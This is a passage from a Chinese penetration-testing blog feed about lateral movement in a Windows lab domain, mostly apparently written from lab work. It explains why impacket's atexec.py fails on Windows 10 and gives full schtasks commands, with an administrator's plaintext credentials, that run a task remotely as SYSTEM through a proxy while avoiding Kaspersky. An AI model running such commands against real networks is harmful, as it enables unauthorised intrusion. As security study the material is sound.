&lt;p&gt;域管理员为了给计算机或用户部署登录脚本，可能会在&lt;code&gt;NETLOGON&lt;/code&gt;共享中放一些登录脚本，这个共享在整个域中都可以访问到，因此可以用于供域内计算机读取登录配置并执行&lt;/p&gt;
&lt;p&gt;在当前的实验环境中，该共享可以在如下网络位置访问到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;\\uoiysdf.iuodsf.vi\NETLOGON
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="内网安全"></category></entry><entry><title>横向移动</title><link href="heng-xiang-yi-dong.html" rel="alternate"></link><published>2020-08-04T00:00:00+02:00</published><updated>2020-08-04T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-08-04:heng-xiang-yi-dong.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;横向移动是开展内网渗透工作的重中之重，横向移动的手动也是多种多样，这里针对在横向移动中使用的技术和遇 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;横向移动是开展内网渗透工作的重中之重，横向移动的手动也是多种多样，这里针对在横向移动中使用的技术和遇到的问题进行总结归纳&lt;/p&gt;
&lt;h1&gt;Impacket工具包&lt;/h1&gt;
&lt;h2&gt;atexec.py执行过程中出现rpc_s_access_denied问题&lt;/h2&gt;
&lt;p&gt;在内网横向移动中，使用比较多的可能就数impacket了，在远程执行主机命令方面，最常使用的就是&lt;code&gt;wmiexec.py&lt;/code&gt;和&lt;code&gt;atexec.py&lt;/code&gt;这两个脚本，&lt;strong&gt;其中前者被各大杀毒软件查杀的比较厉害，比如卡巴斯基：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804214515663" src="https://s2.loli.net/2024/06/14/48zWEKyqt7hugci.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到反病毒软件对&lt;code&gt;C:\Windows\System32\wbem\WmiPrvSE.exe&lt;/code&gt;的监控还是比较严格的，因此&lt;code&gt;wmiexec.py&lt;/code&gt;在绝大多数安装了反病毒软件的主机上还是很难进行使用的，而且容易引起对方的警觉，这时候我们大多会转而选择&lt;code&gt;atexec.py&lt;/code&gt;脚本来进行远程命令执行，改脚本的大致原理就是通过往远程主机写入计划任务并执行来达到执行命令的目的，但是改脚本在windows 10操作系统上经常会遇到&lt;code&gt;rpc_s_access_denied&lt;/code&gt;的问题&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804214818949" src="https://s2.loli.net/2024/06/14/QzOS9gUG6d2AVmR.png"&gt;&lt;/p&gt;
&lt;p&gt;但是在windows 7上却可以正常执行，通过调试atexec.py，我们可以跟踪到问题出在下面这个地方：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804215010557" src="https://s2.loli.net/2024/06/14/YO5a2TCsHlgGQRz.png"&gt;&lt;/p&gt;
&lt;p&gt;对于windows 10，在执行&lt;code&gt;hSchRpcRegisterTask&lt;/code&gt;方法时会抛出异常，导致计划任务创建失败，&lt;strong&gt;目前还没有了解到更详细的原因，如果后续搞明白了会更新出来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不过我们可以直接通过&lt;code&gt;schtasks&lt;/code&gt;远程创建计划任务并执行来达到同样的效果，对于实际环境，我们可以使用&lt;code&gt;Proxifier&lt;/code&gt;来进行代理，具体操作如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首先我们在攻击机中设置出如下代理，所有针对目标IP的传输层流量都会经过代理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804221311911" src="https://s2.loli.net/2024/06/14/L6FEuR4oNV12xSP.png"&gt;&lt;/p&gt;
&lt;p&gt;然后我们直接在攻击机上使用&lt;code&gt;schtasks&lt;/code&gt;进行计划任务的创建、执行和删除操作：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;schtasks /create /tn test_sch_name /tr C:\Users\win_10_1\Desktop\123.bat /sc once /st 00:00 /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /RU System /f

schtasks /run /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip

schtasks /delete /tn test_sch_name /S 192.168.1.9 /U uoiysdf.iuodsf.vi\administrator /P 43u96tgjirbtgpnk3w4o9-ip /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;C:\Users\win_10_1\Desktop\123.bat&lt;/code&gt;会在桌面写一个&lt;code&gt;test.txt&lt;/code&gt;，内容为&lt;code&gt;test&lt;/code&gt;，用于检验命令是否成功执行&lt;/p&gt;
&lt;p&gt;成功创建计划任务：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804224542339" src="https://s2.loli.net/2024/06/14/P67uBcfd4CyKivR.png"&gt;&lt;/p&gt;
&lt;p&gt;执行计划任务：
&lt;img alt="image-20200804224638396" src="https://s2.loli.net/2024/06/14/wsDXIU96Vi3F7YG.png"&gt;&lt;/p&gt;
&lt;p&gt;运行成功，卡巴斯基没有反应：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804224954509" src="https://s2.loli.net/2024/06/14/n4R1yNYBbesLQ2x.png"&gt;&lt;/p&gt;
&lt;p&gt;删除计划任务：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200804224807003" src="https://s2.loli.net/2024/06/14/dJzsKLQNavgie4M.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;虽然这样也能执行命令，但是无法实施hash传递攻击，因为这种方法需要人提供明文密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;还有一点比较奇怪的地方就是，无法通过代理使用net use将目标主机的磁盘挂载到本地，会提示找不到网络名&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200805001733414" src="https://s2.loli.net/2024/06/14/ITFJRoGYpbvAKle.png"&gt;&lt;/p&gt;
&lt;p&gt;回头可以研究一下impacket的&lt;code&gt;smbclient.py&lt;/code&gt;脚本，看它是如何通过代理挂载目标机器的盘符的&lt;/p&gt;</content><category term="内网安全"></category></entry></feed>